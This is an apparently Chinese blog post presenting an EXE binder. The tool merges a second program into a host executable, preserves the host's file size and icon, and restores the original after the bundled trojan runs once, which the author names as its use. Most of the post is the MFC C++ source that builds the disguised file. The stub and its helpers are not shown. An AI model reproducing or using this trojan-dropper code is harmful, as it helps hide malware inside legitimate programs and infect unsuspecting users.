现在EXE捆绑工具多的是,没什么技术含量。
我这个捆绑器不同与其它捆绑器的特点是:
1.采用压缩算法,最大限度的保证捆绑后不改变原程序文件大小,测试时成功地在一个48K的程序里捆绑了一个36K的程序。
2.当被捆绑的程序运行后自动修复,恢复到程序被捆绑前,所以捆绑的木马也只执行一次。
软件抓图:
核发代码:void CExeBindMFCDlg::OnBnClickedButton1()
{
CString Path1,Path2,Path3,BackPath;
char Mark[50],*pMem1,*pMem2,*pMem3;
HANDLE hFile1,hFile2;
DWORD size1,size2,size3,len;
HRSRC hrsrc1;
HGLOBAL hglobal1;
LZARI lz;
int nOutSize;
BYTE *p;
GetDlgItem(IDC_EDIT1)->GetWindowText(Path1);
GetDlgItem(IDC_EDIT2)->GetWindowText(Path2);
GetDlgItem(IDC_EDIT3)->GetWindowText(Path3);
BackPath=Path1+".bak.exe";
CopyFile(Path1,BackPath,false);
hrsrc1=FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), "BIN");
hglobal1=LoadResource(NULL, hrsrc1);
size3=SizeofResource(NULL, hrsrc1);
hFile1=CreateFile(Path1,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile1==INVALID_HANDLE_VALUE )
{
MessageBox("以可写方式打开文件1出错!");
return;
}
hFile2=CreateFile(Path2,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile2==INVALID_HANDLE_VALUE )
{
MessageBox("以只读方式打开文件2出错!");
return;
}
size1=GetFileSize(hFile1,0);
size2=GetFileSize(hFile2,0);
pMem1=new char[size1+1];
if(!pMem1)
{
MessageBox("分配内存1出错,无法继续!");
return;
}
pMem2=new char[size2+1];
if(!pMem2)
{
MessageBox("分配内存2出错,无法继续!");
return;
}
pMem3=new char[size3+1];
if(!pMem3)
{
MessageBox("分配内存3出错,无法继续!");
return;
}
ReadFile(hFile1,pMem1,size1,&len,NULL);
if(size1!=len)
{
MessageBox("读取文件1出错,无法继续!");
return;
}
ReadFile(hFile2,pMem2,size2,&len,NULL);
if(size2!=len)
{
MessageBox("读取文件2出错,无法继续!");
return;
}
memcpy(pMem3,LockResource(hglobal1),size3);//是一个自己先前准备好的释放EXE的程序
SetFilePointer(hFile1,0,0,FILE_BEGIN);
CloseHandle(hFile2);
p=NULL;
lz.Compress((BYTE *)pMem1,size1,p,nOutSize);
memcpy(pMem1,p,nOutSize);
lz.Release();
size1=nOutSize;
p=NULL;
lz.Compress((BYTE *)pMem2,size2,p,nOutSize);
memcpy(pMem2,p,nOutSize);
lz.Release();
size2=nOutSize;
sprintf(Mark,"%ld,%ld|%ld,%ld",size3,size1,size3+size1,size2);
ModifyMem(pMem3,size3,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",Mark);//设置标志
if(Path3=="")
ModifyIcon(pMem3,size3,BackPath);
else
ModifyIcon(pMem3,size3,Path3);
WriteFile(hFile1,pMem3,size3,&len,NULL);
WriteFile(hFile1,pMem1,size1,&len,NULL);
WriteFile(hFile1,pMem2,size2,&len,NULL);
//SetEndOfFile(hFile1); 去掉此行可保持文件大小不变
CloseHandle(hFile1);
delete pMem1;
delete pMem2;
delete pMem3;
}
考虑到本软件可能被一些恶意下载站利用,对网民造成不良影响,所以本文仅提供一种新的捆绑器的思路,二进程程序就不提供下载了。